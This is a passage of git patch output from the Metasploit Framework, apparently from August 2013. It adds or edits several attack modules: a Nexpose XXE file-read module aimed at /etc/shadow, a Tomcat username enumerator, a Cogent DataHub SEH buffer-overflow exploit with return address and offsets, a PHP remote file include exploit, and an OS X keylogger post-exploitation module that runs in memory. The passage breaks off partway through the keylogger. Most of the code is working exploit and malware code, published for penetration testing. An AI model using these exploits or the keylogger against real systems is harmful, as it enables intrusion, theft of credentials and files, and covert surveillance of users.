"The filepath to read on the server", "/etc/shadow"]), - OptBool.new('SSL', [true, 'Use SSL', true]) + OptString.new('USERNAME', [true, "The Nexpose user", nil]), + OptString.new('PASSWORD', [true, "The Nexpose password", nil]), + OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]) ], self.class) end def run user = datastore['USERNAME'] pass = datastore['PASSWORD'] - prot = datastore['SSL'] ? 'https' : 'http' + prot = ssl ? 'https' : 'http' nsc = Nexpose::Connection.new(rhost, user, pass, rport) @@ -119,11 +121,10 @@ def run begin nsc.site_delete id rescue - print_error("Error while cleaning up site") - return + print_warning("Error while cleaning up site ID, manual cleanup required!") end - if !doc.root.elements["//host"] + unless doc.root.elements["//host"] print_error("No file returned. Either the server is patched or the file did not exist.") return end From 5da714f748b091e87621686e9aa4cf128fae8c1c Mon Sep 17 00:00:00 2001 From: Nicholas Davis <nicholas_davis@rapid7.com> Date: Fri, 16 Aug 2013 15:10:38 -0400 Subject: [PATCH 227/454] fixed bug #8296 where help table was not displaying properly --- plugins/nessus.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/plugins/nessus.rb b/plugins/nessus.rb index 0cbd71fe9c08f..a0144d1aeff50 100644 --- a/plugins/nessus.rb +++ b/plugins/nessus.rb @@ -202,9 +202,10 @@ def cmd_nessus_logout def cmd_nessus_help(*args) tbl = Rex::Ui::Text::Table.new( 'Columns' => [ - 'Command', - 'Help Text' - ] + "Command", + "Help Text" + ], + 'SortIndex' => -1 ) tbl << [ "Generic Commands", "" ] tbl << [ "-----------------", "-----------------"] From f42797fc5ce9f752bd4fb1ef3f86df3d41099289 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Fri, 16 Aug 2013 14:19:37 -0500 Subject: [PATCH 228/454] Fix indentation --- .../admin/http/nexpose_xxe_file_read.rb | 245 +++++++++--------- 1 file changed, 123 insertions(+), 122 deletions(-) diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index b1fcc3913ed66..b45a68f075287 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -10,126 +10,127 @@ class Metasploit4 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Report - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Nexpose XXE Arbitrary File Read', - 'Description' => %q{ - Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number - of vectors. This vulnerability can allow an attacker to a craft special XML that - could read arbitrary files from the filesystem. This module exploits the - vulnerability via the XML API. - }, - 'Author' => - [ - 'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module - 'Drazen Popovic <drazen.popvic[at]infigo.hr>', # Independent discovery, alternate vector - 'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>' # Independently reported - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ], - # Fill this in with the direct advisory URL from Infigo - [ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ] - ], - 'DefaultOptions' => { - 'SSL' => true - } - )) - - register_options( - [ - Opt::RPORT(3780), - OptString.new('USERNAME', [true, "The Nexpose user", nil]), - OptString.new('PASSWORD', [true, "The Nexpose password", nil]), - OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]) - ], self.class) - end - - def run - user = datastore['USERNAME'] - pass = datastore['PASSWORD'] - prot = ssl ? 'https' : 'http' - - nsc = Nexpose::Connection.new(rhost, user, pass, rport) - - print_status("Authenticating as: " << user) - begin - nsc.login - report_auth_info( - :host => rhost, - :port => rport, - :sname => prot, - :user => user, - :pass => pass, - :proof => '', - :active => true - ) - - rescue - print_error("Error authenticating, check your credentials") - return - end - - xml = '<!DOCTYPE foo [' - xml << '<!ELEMENT host ANY>' - xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">' - xml << ']>' - xml << '<SiteSaveRequest session-id="' - - xml << nsc.session_id - - xml << '">' - xml << '<Site id="-1" name="fdsa" description="fdfdsa">' - xml << '<Hosts>' - xml << '<host>&xxe;</host>' - xml << '</Hosts>' - xml << '<Credentials />' - xml << '<Alerting />' - xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />' - xml << '</Site>' - xml << '</SiteSaveRequest>' - - print_status("Sending payload") - begin - fsa = nsc.execute(xml) - rescue - print_error("Error executing API call for site creation, ensure the filepath is correct") - return - end - - doc = REXML::Document.new fsa.raw_response_data - id = doc.root.attributes["site-id"] - - xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />" - - print_status("Retrieving file") - begin - fsa = nsc.execute(xml) - rescue - nsc.site_delete id - print_error("Error retrieving the file.") - return - end - - doc = REXML::Document.new fsa.raw_response_data - - print_status("Cleaning up") - begin - nsc.site_delete id - rescue - print_warning("Error while cleaning up site ID, manual cleanup required!") - end - - unless doc.root.elements["//host"] - print_error("No file returned. Either the server is patched or the file did not exist.") - return - end - - path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}") - print_good("File saved to path: " << path) - end + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Nexpose XXE Arbitrary File Read', + 'Description' => %q{ + Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number + of vectors. This vulnerability can allow an attacker to a craft special XML that + could read arbitrary files from the filesystem. This module exploits the + vulnerability via the XML API. + }, + 'Author' => + [ + 'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module + 'Drazen Popovic <drazen.popvic[at]infigo.hr>', # Independent discovery, alternate vector + 'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>' # Independently reported + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ], + # Fill this in with the direct advisory URL from Infigo + [ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ] + ], + 'DefaultOptions' => { + 'SSL' => true + } + )) + + register_options( + [ + Opt::RPORT(3780), + OptString.new('USERNAME', [true, "The Nexpose user", nil]), + OptString.new('PASSWORD', [true, "The Nexpose password", nil]), + OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]) + ], self.class) + end + + def run + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + prot = ssl ? 'https' : 'http' + + nsc = Nexpose::Connection.new(rhost, user, pass, rport) + + print_status("Authenticating as: " << user) + begin + nsc.login + report_auth_info( + :host => rhost, + :port => rport, + :sname => prot, + :user => user, + :pass => pass, + :proof => '', + :active => true + ) + + rescue + print_error("Error authenticating, check your credentials") + return + end + + xml = '<!DOCTYPE foo [' + xml << '<!ELEMENT host ANY>' + xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">' + xml << ']>' + xml << '<SiteSaveRequest session-id="' + + xml << nsc.session_id + + xml << '">' + xml << '<Site id="-1" name="fdsa" description="fdfdsa">' + xml << '<Hosts>' + xml << '<host>&xxe;</host>' + xml << '</Hosts>' + xml << '<Credentials />' + xml << '<Alerting />' + xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />' + xml << '</Site>' + xml << '</SiteSaveRequest>' + + print_status("Sending payload") + begin + fsa = nsc.execute(xml) + rescue + print_error("Error executing API call for site creation, ensure the filepath is correct") + return + end + + doc = REXML::Document.new fsa.raw_response_data + id = doc.root.attributes["site-id"] + + xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />" + + print_status("Retrieving file") + begin + fsa = nsc.execute(xml) + rescue + nsc.site_delete id + print_error("Error retrieving the file.") + return + end + + doc = REXML::Document.new fsa.raw_response_data + + print_status("Cleaning up") + begin + nsc.site_delete id + rescue + print_warning("Error while cleaning up site ID, manual cleanup required!") + end + + unless doc.root.elements["//host"] + print_error("No file returned. Either the server is patched or the file did not exist.") + return + end + + path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}") + print_good("File saved to path: " << path) + end + end From a94c6aa72b15f4bb954385341cd3488e64b0f539 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Fri, 16 Aug 2013 15:45:23 -0500 Subject: [PATCH 229/454] [FixRM 6264] Check required vulnerable component before testing tomcat_enum requires the admin web app package for it to work, but by default many Apache Tomcat don't actually have this. The module should check that first before trying usernames. [FixRM 6264], see: http://dev.metasploit.com/redmine/issues/6264 I also made changes to do_login in order to verify successful/bad attempts more specific. --- modules/auxiliary/scanner/http/tomcat_enum.rb | 53 +++++++++++++++---- 1 file changed, 42 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/scanner/http/tomcat_enum.rb b/modules/auxiliary/scanner/http/tomcat_enum.rb index 40ddbfb8d7462..67d02cb8693bb 100644 --- a/modules/auxiliary/scanner/http/tomcat_enum.rb +++ b/modules/auxiliary/scanner/http/tomcat_enum.rb @@ -20,8 +20,11 @@ def initialize super( 'Name' => 'Apache Tomcat User Enumeration', 'Description' => %q{ - Apache Tomcat user enumeration utility, for Apache Tomcat servers prior to version - 6.0.20, 5.5.28, and 4.1.40. + This module enumerates Apache Tomcat's usernames via malformed requests to + j_security_check, which can be found in the web administration package. It should + work against Tomcat servers 4.1.0 - 4.1.39, 5.5.0 - 5.5.27, and 6.0.0 - 6.0.18. + Newer versions no longer have the "admin" package by default. The 'admin' package + is no longer provided for Tomcat 6 and later versions. }, 'Author' => [ @@ -54,7 +57,23 @@ def target_url "http://#{vhost}:#{rport}#{uri}" end + def has_j_security_check? + print_status("#{target_url} - Checking j_security_check...") + res = send_request_raw({'uri' => normalize_uri(datastore['URI'])}) + if res + print_status("#{target_url} - Server returned: #{res.code.to_s}") + return true if res.code == 200 or res.code == 302 + end + + false + end + def run_host(ip) + unless has_j_security_check? + print_error("#{target_url} - Unable to enumerate users with this URI") + return + end + @users_found = {} each_user_pass { |user,pass| @@ -85,15 +104,18 @@ def do_login(user) 'data' => post_data, }, 20) - if res - if res.code == 200 - if res.headers['Set-Cookie'] - vprint_status("#{target_url} - Apache Tomcat #{user} not found ") - else - print_good("#{target_url} - Apache Tomcat #{user} found ") - @users_found[user] = :reported - end - end + if res and res.code == 200 and res.headers['Set-Cookie'] + vprint_error("#{target_url} - Apache Tomcat #{user} not found ") + elsif res and res.body =~ /invalid username/i + vprint_error("#{target_url} - Apache Tomcat #{user} not found ") + elsif res and res.code == 500 + # Based on: http://archives.neohapsis.com/archives/bugtraq/2009-06/0047.html + vprint_good("#{target_url} - Apache Tomcat #{user} found ") + @users_found[user] = :reported + elsif res and res.body.empty? and res.headers['Location'] !~ /error\.jsp$/ + # Based on: http://archives.neohapsis.com/archives/bugtraq/2009-06/0047.html + print_good("#{target_url} - Apache Tomcat #{user} found ") + @users_found[user] = :reported else print_error("#{target_url} - NOT VULNERABLE") return :abort @@ -106,3 +128,12 @@ def do_login(user) end end + +=begin + +If your Tomcat doesn't have the admin package by default, download it here: +http://archive.apache.org/dist/tomcat/ + +The package name should look something like: apache-tomcat-[version]-admin.zip + +=end From 7937fbcc4958f898b1abf75623f2b7b6eb6ff37c Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 16 Aug 2013 15:59:04 -0500 Subject: [PATCH 230/454] More idiomatic ruby with symbols and spaces --- lib/msf/core/rpc/v10/service.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/rpc/v10/service.rb b/lib/msf/core/rpc/v10/service.rb index e802302220381..0ada8c1fb9b05 100644 --- a/lib/msf/core/rpc/v10/service.rb +++ b/lib/msf/core/rpc/v10/service.rb @@ -122,7 +122,7 @@ def process(req) raise ArgumentError, "Invalid Message Format" end - msg.map { |a| a.respond_to?("force_encoding")?a.force_encoding(self.str_encoding):a } + msg.map { |a| a.respond_to?(:force_encoding) ? a.force_encoding(self.str_encoding) : a } group, funct = msg.shift.split(".", 2) From a8cc15db208be391334be3ccdfbae5267aa98434 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Fri, 16 Aug 2013 18:13:18 -0500 Subject: [PATCH 231/454] Add module for ZDI-13-178 --- .../cogent_datahub_request_headers_bof.rb | 101 ++++++++++++++++++ 1 file changed, 101 insertions(+) create mode 100644 modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb diff --git a/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb new file mode 100644 index 0000000000000..86cd6f9b07353 --- /dev/null +++ b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb @@ -0,0 +1,101 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cogent DataHub HTTP Server Buffer Overflow', + 'Description' => %q{ + This module exploits a stack based buffer overflow Cogent DataHub 7.3.0. The + vulnerability exists in the HTTP server, while handling HTTP headers, where the + strncpy() function is used in a dangerous way. This module has been tested + successfully on Cogent DataHub 7.3.0 (Demo) on Windows XP SP3. + }, + 'Author' => + [ + 'rgod <rgod[at]autistici.org>', # Vulnerability discovery + 'juan vazquez', # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '95819'], + [ 'BID', '53455'], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-178' ], + [ 'URL', 'http://www.cogentdatahub.com/Info/130712_ZDI-CAN-1915_Response.html'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Privileged' => false, + 'Payload' => + { + 'Space' => 33692, + 'DisableNops' => true, + 'BadChars' => "\x00\x0d\x0a\x3a" + }, + 'Platform' => 'win', + 'Targets' => + [ + # Tested with the Cogent DataHub 7.3.0 Demo + # CogentDataHubV7.exe 7.3.0.70 + ['Windows XP SP3 English / Cogent DataHub 7.3.0', + { + 'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates + 'Offset' => 33692, + 'CrashLength' => 4000 # In order to ensure crash before the stack cookie check + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 26 2013' + )) + + end + + def check + res = send_request_cgi({ + 'uri' => "/datahub.asp", + 'method' => 'GET', + }) + + if res and res.code == 200 and res.body =~ /<title>DataHub - Web Data Browser<\/title>/ + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Safe + end + + def exploit + print_status("Trying target #{target.name}...") + + off = target['Offset'] + 8 # 8 => length of the seh_record + bof = payload.encoded + bof << rand_text_alpha(target['Offset'] - payload.encoded.length) + bof << generate_seh_record(target.ret) + bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string + bof << rand_text(target['CrashLength']) + + print_status("Sending request to #{rhost}:#{rport}") + + send_request_cgi({ + 'uri' => "/", + 'method' => 'GET', + 'raw_headers' => "#{bof}: #{rand_text_alpha(20 + rand(20))}\r\n" + }) + + end +end + From 780293d817ddda887a23720acdb09c74443cbb25 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Fri, 16 Aug 2013 23:24:40 -0500 Subject: [PATCH 232/454] Minor changes --- modules/auxiliary/scanner/http/tomcat_enum.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/tomcat_enum.rb b/modules/auxiliary/scanner/http/tomcat_enum.rb index 67d02cb8693bb..fce89782137e4 100644 --- a/modules/auxiliary/scanner/http/tomcat_enum.rb +++ b/modules/auxiliary/scanner/http/tomcat_enum.rb @@ -58,10 +58,10 @@ def target_url end def has_j_security_check? - print_status("#{target_url} - Checking j_security_check...") + vprint_status("#{target_url} - Checking j_security_check...") res = send_request_raw({'uri' => normalize_uri(datastore['URI'])}) if res - print_status("#{target_url} - Server returned: #{res.code.to_s}") + vprint_status("#{target_url} - Server returned: #{res.code.to_s}") return true if res.code == 200 or res.code == 302 end @@ -106,7 +106,7 @@ def do_login(user) if res and res.code == 200 and res.headers['Set-Cookie'] vprint_error("#{target_url} - Apache Tomcat #{user} not found ") - elsif res and res.body =~ /invalid username/i + elsif res and res.code == 200 and res.body =~ /invalid username/i vprint_error("#{target_url} - Apache Tomcat #{user} not found ") elsif res and res.code == 500 # Based on: http://archives.neohapsis.com/archives/bugtraq/2009-06/0047.html From a75a4906f2c7946af5a54e1d54f23b4b97cbae99 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Fri, 16 Aug 2013 23:28:24 -0500 Subject: [PATCH 233/454] Description update --- .../windows/http/cogent_datahub_request_headers_bof.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb index 86cd6f9b07353..2772815006f83 100644 --- a/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb +++ b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb @@ -17,8 +17,8 @@ def initialize(info = {}) super(update_info(info, 'Name' => 'Cogent DataHub HTTP Server Buffer Overflow', 'Description' => %q{ - This module exploits a stack based buffer overflow Cogent DataHub 7.3.0. The - vulnerability exists in the HTTP server, while handling HTTP headers, where the + This module exploits a stack based buffer overflow on Cogent DataHub 7.3.0. The + vulnerability exists in the HTTP server - while handling HTTP headers, a strncpy() function is used in a dangerous way. This module has been tested successfully on Cogent DataHub 7.3.0 (Demo) on Windows XP SP3. }, From 98b4c653c086e1d1dfea9a29884a7581386ea041 Mon Sep 17 00:00:00 2001 From: g0tmi1k <have.you.g0tmi1k@gmail.com> Date: Sat, 17 Aug 2013 17:35:09 +0100 Subject: [PATCH 234/454] php_include - uses verbose --- modules/exploits/unix/webapp/php_include.rb | 35 +++++++++++---------- 1 file changed, 19 insertions(+), 16 deletions(-) diff --git a/modules/exploits/unix/webapp/php_include.rb b/modules/exploits/unix/webapp/php_include.rb index a03941c39963c..75528cebebed8 100644 --- a/modules/exploits/unix/webapp/php_include.rb +++ b/modules/exploits/unix/webapp/php_include.rb @@ -16,36 +16,36 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'PHP Remote File Include Generic Code Execution', - 'Description' => %q{ + 'Name' => 'PHP Remote File Include Generic Code Execution', + 'Description' => %q{ This module can be used to exploit any generic PHP file include vulnerability, where the application includes code like the following: <?php include($_GET['path']); ?> }, - 'Author' => [ 'hdm' , 'egypt', 'ethicalhack3r' ], - 'License' => MSF_LICENSE, - #'References' => [ ], - 'Privileged' => false, - 'Payload' => + 'Author' => [ 'hdm' , 'egypt', 'ethicalhack3r' ], + 'License' => MSF_LICENSE, + #'References' => [ ], + 'Privileged' => false, + 'Payload' => { 'DisableNops' => true, - 'Compat' => + 'Compat' => { 'ConnectionType' => 'find', }, # Arbitrary big number. The payload gets sent as an HTTP # response body, so really it's unlimited - 'Space' => 262144, # 256k + 'Space' => 262144, # 256k }, 'DefaultOptions' => { 'WfsDelay' => 30 }, 'DisclosureDate' => 'Dec 17 2006', - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Targets' => [[ 'Automatic', { }]], + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [[ 'Automatic', { }]], 'DefaultTarget' => 0)) register_options([ @@ -86,6 +86,9 @@ def datastore_headers end def php_exploit + # Set verbosity level + verbose = datastore['VERBOSE'].to_s.downcase + uris = [] tpath = normalize_uri(datastore['PATH']) @@ -128,21 +131,21 @@ def php_exploit uris.each do |uri| break if session_created? - # print_status("Sending #{tpath+uri}") + print_status("Sending: #{rhost+tpath+uri}") if verbose == "true" begin if http_method == "GET" response = send_request_raw( { 'global' => true, - 'uri' => tpath+uri, + 'uri' => tpath+uri, 'headers' => datastore_headers, }, timeout) elsif http_method == "POST" response = send_request_raw( { 'global' => true, - 'uri' => tpath+uri, + 'uri' => tpath+uri, 'method' => http_method, - 'data' => postdata, + 'data' => postdata, 'headers' => datastore_headers.merge({ 'Content-Type' => 'application/x-www-form-urlencoded', 'Content-Length' => postdata.length From 02e394e1c33854119b457536473c4352c3411963 Mon Sep 17 00:00:00 2001 From: g0tmi1k <have.you.g0tmi1k@gmail.com> Date: Sat, 17 Aug 2013 17:36:43 +0100 Subject: [PATCH 235/454] php_include - fix check --- modules/exploits/unix/webapp/php_include.rb | 52 ++++++++++++--------- 1 file changed, 29 insertions(+), 23 deletions(-) diff --git a/modules/exploits/unix/webapp/php_include.rb b/modules/exploits/unix/webapp/php_include.rb index 75528cebebed8..6aa118e609df5 100644 --- a/modules/exploits/unix/webapp/php_include.rb +++ b/modules/exploits/unix/webapp/php_include.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. -# http://metasploit.com/ +# http://metasploit.com/ ## require 'msf/core' @@ -17,20 +17,20 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, 'Name' => 'PHP Remote File Include Generic Code Execution', - 'Description' => %q{ + 'Description' => %q{ This module can be used to exploit any generic PHP file include vulnerability, where the application includes code like the following: <?php include($_GET['path']); ?> }, 'Author' => [ 'hdm' , 'egypt', 'ethicalhack3r' ], - 'License' => MSF_LICENSE, + 'License' => MSF_LICENSE, #'References' => [ ], 'Privileged' => false, - 'Payload' => + 'Payload' => { 'DisableNops' => true, - 'Compat' => + 'Compat' => { 'ConnectionType' => 'find', }, @@ -45,7 +45,7 @@ def initialize(info = {}) 'DisclosureDate' => 'Dec 17 2006', 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Targets' => [[ 'Automatic', { }]], + 'Targets' => [[ 'Automatic', { }]], 'DefaultTarget' => 0)) register_options([ @@ -59,19 +59,25 @@ def initialize(info = {}) ], self.class) end - def check - uri = datastore['PHPURI'] ? datastore['PHPURI'].dup : "" - if(uri and ! uri.empty?) - uri.gsub!(/\?.*/, "") - print_status("Checking uri #{uri}") - response = send_request_raw({ 'uri' => uri}) - return Exploit::CheckCode::Detected if response.code == 200 - print_error("Server responded with #{response.code}") - return Exploit::CheckCode::Safe - else - return Exploit::CheckCode::Unknown + def check + uri = datastore['PHPURI'] ? datastore['PHPURI'].dup : "" + + tpath = normalize_uri(datastore['PATH']) + if tpath[-1,1] == '/' + tpath = tpath.chop + end + + if(uri and ! uri.empty?) + uri.gsub!(/\?.*/, "") + print_status("Checking uri #{rhost+tpath+uri}") + response = send_request_raw({ 'uri' => tpath+uri}) + return Exploit::CheckCode::Detected if response.code == 200 + print_error("Server responded with #{response.code}") + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Unknown + end end - end def datastore_headers headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : "" @@ -136,18 +142,18 @@ def php_exploit if http_method == "GET" response = send_request_raw( { 'global' => true, - 'uri' => tpath+uri, + 'uri' => tpath+uri, 'headers' => datastore_headers, }, timeout) elsif http_method == "POST" response = send_request_raw( { - 'global' => true, + 'global' => true, 'uri' => tpath+uri, - 'method' => http_method, - 'data' => postdata, + 'method' => http_method, + 'data' => postdata, 'headers' => datastore_headers.merge({ - 'Content-Type' => 'application/x-www-form-urlencoded', + 'Content-Type' => 'application/x-www-form-urlencoded', 'Content-Length' => postdata.length }) }, timeout) From 71a3f59c250545c6fb904c90612fd26f5d77d8c2 Mon Sep 17 00:00:00 2001 From: g0tmi1k <have.you.g0tmi1k@gmail.com> Date: Sat, 17 Aug 2013 18:30:39 +0100 Subject: [PATCH 236/454] php_include - added error handler --- lib/msf/core/exploit/http/server.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 1435d0282dcb9..927ee4a83ca5f 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -501,7 +501,11 @@ def remove_resource(name) # Guard against removing resources added by other modules if @my_resources.include?(name) @my_resources.delete(name) - service.remove_resource(name) + begin + service.remove_resource(name) + rescue ::Exception => e + print_error("Exception: #{e.class} #{e}") + end end end From 0037ccceed4661335ab01388ae59a46f4d6b659e Mon Sep 17 00:00:00 2001 From: Steve Tornio <swtornio@gmail.com> Date: Sun, 18 Aug 2013 06:34:50 -0500 Subject: [PATCH 237/454] add osvdb ref for openx backdoor --- modules/exploits/multi/http/openx_backdoor_php.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/openx_backdoor_php.rb b/modules/exploits/multi/http/openx_backdoor_php.rb index 7261bd73724af..c677c5134bc55 100644 --- a/modules/exploits/multi/http/openx_backdoor_php.rb +++ b/modules/exploits/multi/http/openx_backdoor_php.rb @@ -29,6 +29,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-4211' ], + [ 'OSVDB', '96073' ], [ 'URL', 'http://www.heise.de/security/meldung/Achtung-Anzeigen-Server-OpenX-enthaelt-eine-Hintertuer-1929769.html'], [ 'URL', 'http://forum.openx.org/index.php?showtopic=503521628'], ], From abd4fb778fa3e4c0e523d5c687de73c6ac037712 Mon Sep 17 00:00:00 2001 From: Steve Tornio <swtornio@gmail.com> Date: Sun, 18 Aug 2013 06:35:28 -0500 Subject: [PATCH 238/454] add osvdb ref for chasys overflow --- modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb index 2e5d132e8b5c8..b08f9eecb8895 100644 --- a/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb +++ b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb @@ -35,6 +35,7 @@ def initialize(info={}) 'References' => [ [ 'CVE', '2013-3928' ], + [ 'OSVDB', '95689' ], [ 'BID', '61463' ], [ 'URL', 'http://secunia.com/advisories/53773/' ], [ 'URL', 'http://longinox.blogspot.com/2013/08/explot-stack-based-overflow-bypassing.html' ] From 1cdf77df7de28819ae0e21f1ff5940c3495a6c3e Mon Sep 17 00:00:00 2001 From: Joe Vennix <Joe_Vennix@rapid7.com> Date: Sun, 18 Aug 2013 16:21:38 -0500 Subject: [PATCH 239/454] OSX keylogger module finally working. --- modules/post/osx/gather/keylogger.rb | 293 +++++++++++++++++++++++++++ 1 file changed, 293 insertions(+) create mode 100644 modules/post/osx/gather/keylogger.rb diff --git a/modules/post/osx/gather/keylogger.rb b/modules/post/osx/gather/keylogger.rb new file mode 100644 index 0000000000000..44a1ad10b1a7f --- /dev/null +++ b/modules/post/osx/gather/keylogger.rb @@ -0,0 +1,293 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'shellwords' + +class Metasploit3 < Msf::Post + include Msf::Post::Common + include Msf::Post::File + include Msf::Auxiliary::Report + + # the port used for telnet IPC. It is only open after the + # keylogger process is sent a USR1 signal + attr_accessor :port + + # the pid of the keylogger process + attr_accessor :pid + + # where we are storing the keylog + attr_accessor :loot_path + + + def initialize(info={}) + super(update_info(info, + 'Name' => 'OSX Userspace Keylogger', + 'Description' => %q{ + Logs all keyboard events except cmd-keys and GUI password input. + + Keylogs are transferred between client/server in chunks + every SYNCWAIT seconds for reliability. + + Works by calling the Carbon GetKeys() hook using the DL lib + in OSX's system Ruby. The Ruby code is executed in a shell + command using -e, so the payload never hits the disk. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'joev <jvennix[at]rapid7.com>'], + 'Platform' => [ 'osx'], + 'SessionTypes' => [ 'shell', 'meterpreter' ] + )) + + register_options( + [ + OptInt.new('DURATION', + [ true, 'The duration in seconds.', 600 ] + ), + OptInt.new('SYNCWAIT', + [ true, 'The time between transferring log chunks.', 10 ] + ), + OptInt.new('LOGPORT', + [ false, 'Local port opened for transferring logs', 22899 ] + ) + ] + ) + end + + def run_ruby_code + # to pass args to ruby -e we use ARGF (stdin) and yaml + opts = { + :duration => datastore['DURATION'].to_i, + :port => self.port + } + cmd = ['ruby', '-e', ruby_code(opts)] + + rpid = cmd_exec(cmd.shelljoin, nil, 10) + + if rpid =~ /^\d+/ + print_status "Ruby process executing with pid #{rpid.to_i}" + rpid.to_i + else + raise "Ruby keylogger command failed with error #{rpid}" + end + end + + + def run + if session.nil? + print_error "Invalid SESSION id." + return + end + + print_status "Executing ruby command to start keylogger process." + + @port = datastore['LOGPORT'].to_i + @pid = run_ruby_code + + begin + Timeout.timeout(datastore['DURATION']+5) do # padding to read the last logs + print_status "Entering read loop" + while true + print_status "Waiting #{datastore['SYNCWAIT']} seconds." + Rex.sleep(datastore['SYNCWAIT']) + print_status "Sending USR1 signal to open TCP port..." + cmd_exec("kill -USR1 #{@pid}") + print_status "Dumping logs..." + log = cmd_exec("telnet localhost #{self.port}") + log_a = log.scan(/^\[.+?\] \[.+?\] .*$/) + log = 